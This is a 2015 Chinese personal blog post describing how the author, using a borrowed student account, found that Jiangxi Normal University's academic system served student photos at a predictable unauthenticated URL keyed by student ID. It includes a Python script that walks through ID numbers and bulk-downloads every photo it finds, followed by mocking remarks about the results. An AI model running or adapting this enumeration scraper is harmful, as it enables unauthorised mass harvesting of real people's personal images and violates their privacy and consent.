江西师范大学学生照片

    @noneface  02 Oct 2015


国庆第二天,来更新Blog. 暑假在研究各个学校的教务处系统,略有发现. 师范大学教务处系统设置的略奇怪. 学生登录后,能查询到全校任何一个在读学生的信息,真是哔了狗. 查询学生信息是得在学生登录之后才能查询的,借了一个帐号,翻了翻.发现某个独特的url: ‘http://jwc.jxnu.edu.cn/StudentPhoto/’+num+’.jpg’ 其中的num就是学生的学号,而且,这个url可以直接访问,有的玩了.遍历全校学生学号,down下图片.

某人照片…

这种类似与爬虫的工作当然得拿出python咯.

 #!/usr/bin/env python
 # coding:utf-8
 import requests
 fname ='existNo12.txt'
 fobj = open(fname,'r')
 stu_no=fobj.readline()
 while stu_no:
 	stu_no = stu_no.rstrip()
	num = stu_no
	base_url = 'http://jwc.jxnu.edu.cn/StudentPhoto/'+num+'.jpg'
	r = requests.get(url = base_url)
	for i in range(100):
		 if r.status_code == 200 :
		 	pic = open(num+'.jpg','wb')
			pic.write(r.content)
			print num,'download!'
			num = str(int(num)+1)
			base_url = 'http://jwc.jxnu.edu.cn/StudentPhoto/'+num+'.jpg'
			r = requests.get(url = base_url)
	stu_no = fobj.readline()

并没有用上多线程的技术,爬起来有点慢.事先遍历到了学号,这里不得不喷一下师大了,学号毫无规律可言. 最后不要问我结果怎么样了.

素颜照真吓人.


Follow your heart  |   nonefacesay@gmail.com